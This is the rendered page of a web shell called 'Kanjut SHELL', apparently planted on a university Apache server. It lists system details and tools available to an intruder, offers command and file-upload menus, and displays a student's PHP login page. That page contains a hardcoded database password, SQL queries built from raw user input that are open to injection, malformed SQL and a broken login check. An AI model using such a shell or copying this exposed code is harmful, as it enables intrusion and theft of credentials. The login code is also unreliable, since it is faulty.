Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.102.18
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/mdwiberg/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mdwiberg/public_html/ProfileHomepage.php
<!DOCTYPE html>
<!--
        File name: ProfileHomepage.php
        CS489 Research Project
-->
-

<?php   session_start();

    $user = $_POST['uName'];
    $pass = $_POST['pWord'];

    $connect = mysqli_connect("localhost","mdwiberg","cs480");
	if (!$connect)
		{
		die('Failure to connect: ' . mysqli_error($connect));
		}
	mysqli_select_db($connect, "mdwiberg");

	$userN = "SELECT USERNAME from PROFILE WHERE USERNAME='$user' and WHERE PASSWORD='$pass'";
	$passW = "SELECT PASSWORD from PROFILE WHERE USERNAME='$user' and WHERE PASSWORD='$pass'";

	$resultU = mysqli_query($connect, $userN);
	$resultP = mysqli_query($connect, $passW);

	mysqli_close($connect);

?>

<!--

	//$_SESSION['passW'] = $pass;
	//$_SESSION['userN'] = $user;
-->

<?php

	if($user != $resultU || $pass = $resultP)
    	print "An account does not exist with this information. <HR><P> Please try logging in again";
    else
        {
?>


<HTML>
<HEAD>
	<center>
	<title>
	Financial Management
	</title>
	</center>
</HEAD>
<BODY
	<center>
	<h2> Financial Management Account Homepage <h2>
	</center>

	<BUTTON>
		<A HREF=Accounts.html> Accounts </A>
	</BUTTON>

</BODY>
</HTML>

<?php
	}
?>

Stv3n404 - 2023